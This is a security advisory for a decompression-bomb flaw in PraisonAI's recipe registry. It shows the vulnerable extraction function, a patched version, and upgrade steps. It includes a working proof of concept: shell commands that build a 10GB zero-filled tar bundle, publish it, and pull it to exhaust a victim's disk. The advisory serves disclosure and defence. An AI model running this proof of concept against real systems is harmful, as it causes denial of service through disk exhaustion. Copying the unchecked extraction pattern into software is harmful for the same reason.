Skip to content

GHSA-f2h6-7xfr-xm8w CVE-2026-40148 PYSEC-2026-2912

PraisonAI Vulnerable to Decompression Bomb DoS via Recipe Bundle Extraction Without Size Limits

Medium PyPI
Severity
6.5 / 10
Medium · CVSS 3.1
Exploit chance (EPSS)
0.24%
Chance of exploitation in the next 30 days. Higher than 15.53% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-409 Improper Handling of Highly Compressed Data (Data Amplification)
Fix
4.5.128
Upgrade praisonai to this version or later

Description

Summary

The _safe_extractall() function in PraisonAI's recipe registry validates archive members against path traversal attacks but performs no checks on individual member sizes, cumulative extracted size, or member count before calling tar.extractall(). An attacker can publish a malicious recipe bundle containing highly compressible data (e.g., 10GB of zeros compressing to ~10MB) that exhausts the victim's disk when pulled via LocalRegistry.pull() or HttpRegistry.pull().

Details

The vulnerable function is _safe_extractall() at src/praisonai/praisonai/recipe/registry.py:131-162:

def _safe_extractall(tar: tarfile.TarFile, dest_dir: Path) -> None:
    dest_resolved = dest_dir.resolve()
    for member in tar.getmembers():
        member_path = Path(member.name)
        # Reject absolute paths
        if member_path.is_absolute():
            raise RegistryError(...)
        # Reject '..' components
        if '..' in member_path.parts:
            raise RegistryError(...)
        # Reject resolved paths escaping dest_dir
        resolved = (dest_resolved / member_path).resolve()
        if not str(resolved).startswith(str(dest_resolved) + os.sep) and resolved != dest_resolved:
            raise RegistryError(...)
    # All members validated — safe to extract
    tar.extractall(dest_dir)  # <-- No size limit

The function iterates all tar members and checks for path traversal (absolute paths, .. components, resolved path escaping), but never inspects member.size. The TarInfo.size attribute is available on every member and represents the uncompressed size, but it is never read.

This function is called from two locations:

  • LocalRegistry.pull() at line 396-397
  • HttpRegistry.pull() at line 791-792

The publish() method at line 296-298 only copies the compressed bundle via shutil.copy2(), so the bomb only detonates when a victim calls pull().

No size limits, upload quotas, or decompression guards exist anywhere in the registry module.

PoC

# Step 1: Create a malicious recipe bundle
mkdir bomb && cd bomb

cat > manifest.json << 'EOF'
{"name": "useful-recipe", "version": "1.0.0", "description": "Helpful AI recipe", "tags": ["ai"], "files": ["agent.yaml"]}
EOF

# Create a 10GB file of zeros (compresses to ~10MB with gzip)
dd if=/dev/zero of=agent.yaml bs=1M count=10240

# Bundle it as a .praison file
tar czf ../useful-recipe-1.0.0.praison manifest.json agent.yaml
cd ..

# Step 2: Publish to local registry (~10MB stored)
python -c "
from praisonai.recipe.registry import LocalRegistry
reg = LocalRegistry()
reg.publish('useful-recipe-1.0.0.praison')
"

# Step 3: Victim pulls — extracts 10GB to disk
python -c "
from praisonai.recipe.registry import LocalRegistry
reg = LocalRegistry()
reg.pull('useful-recipe')
"
# Result: 10GB+ written to disk, potential disk exhaustion

Impact

  • Disk exhaustion: A small compressed bundle (~10MB) can extract to 10GB+ of data, filling the victim's disk and causing denial of service for PraisonAI and potentially other applications on the same system.
  • No authentication required: The local registry has no access controls on publish(), and HTTP registry bundles are fetched from remote servers that the attacker controls.
  • Silent detonation: The extraction happens automatically during pull() with no progress indication or size warning to the user.

Recommended Fix

Add a maximum extraction size limit to _safe_extractall():

MAX_EXTRACT_SIZE = 500 * 1024 * 1024  # 500MB
MAX_MEMBER_COUNT = 1000

def _safe_extractall(tar: tarfile.TarFile, dest_dir: Path) -> None:
    dest_resolved = dest_dir.resolve()
    members = tar.getmembers()
    
    if len(members) > MAX_MEMBER_COUNT:
        raise RegistryError(
            f"Archive contains too many members ({len(members)} > {MAX_MEMBER_COUNT})"
        )
    
    total_size = 0
    for member in members:
        member_path = Path(member.name)
        if member_path.is_absolute():
            raise RegistryError(
                f"Refusing to extract absolute path in archive: {member.name}"
            )
        if '..' in member_path.parts:
            raise RegistryError(
                f"Refusing to extract path traversal in archive: {member.name}"
            )
        resolved = (dest_resolved / member_path).resolve()
        if not str(resolved).startswith(str(dest_resolved) + os.sep) and resolved != dest_resolved:
            raise RegistryError(
                f"Refusing to extract path escaping target directory: {member.name}"
            )
        total_size += member.size
        if total_size > MAX_EXTRACT_SIZE:
            raise RegistryError(
                f"Archive extraction would exceed size limit "
                f"({total_size} > {MAX_EXTRACT_SIZE} bytes)"
            )
    tar.extractall(dest_dir)

Affected versions

PyPI

PackageVulnerableFixed in
praisonai
< 4.5.128
4.5.128

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

praisonai PyPI → 4.5.128

pip
pip install --upgrade "praisonai>=4.5.128"
poetry
poetry add "praisonai>=4.5.128"
uv
uv add "praisonai>=4.5.128"

Severity breakdown

CVSS 3.1 6.5

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

Weakness

CWE-409: Improper Handling of Highly Compressed Data (Data Amplification)

The product does not handle or incorrectly handles a compressed input with a very high compression ratio that produces a large output.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-26mh-57q7-jfvr
PraisonAI vulnerable to Remote Code Execution via Broken AST Sandbox
High Also affects praisonai
GHSA-6g6r-q6gw-w8fg
PraisonAI has a Browser Server WebSocket origin validation bypass via unanchored regex (patch bypass of CVE-2026-40289 / GHSA-8x8f-54wf-vv92)
Critical Also affects praisonai
GHSA-pvph-5j39-v8qc
PraisonAI: Origin-validation bypass (startswith prefix match) enables unauthenticated cross-site request forgery against the PraisonAI MCP HTTP server
High Also affects praisonai
GHSA-gfq8-hmph-9gjv
PraisonAI: Authentication fail-open in Recipe server allows unauthenticated access when API key or JWT auth is configured without a secret
High Also affects praisonai
GHSA-2jgc-f764-c5r2
PraisonAI: [Auth Bypass] PraisonAI async Jobs API (`/api/v1/runs`) has no authentication — unauthenticated job execution, result theft, cancel and delete
High Also affects praisonai
GHSA-pvxx-r596-f5qj
PraisonAI: `--api-key` flag on `praisonai serve` is not properly enforced
High Also affects praisonai
GHSA-hmfx-4v44-9qw9
PraisonAI vulnerable to Server-Side Request Forgery via DNS rebinding bypass in webhook_url validation
Medium Also affects praisonai
GHSA-rg5q-pp8p-f7jm
PraisonAI: Webhook SSRF via DNS fail-open in `JobSubmitRequest.validate_webhook_url()` — bypass of CVE-2026-40114
High Also affects praisonai
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor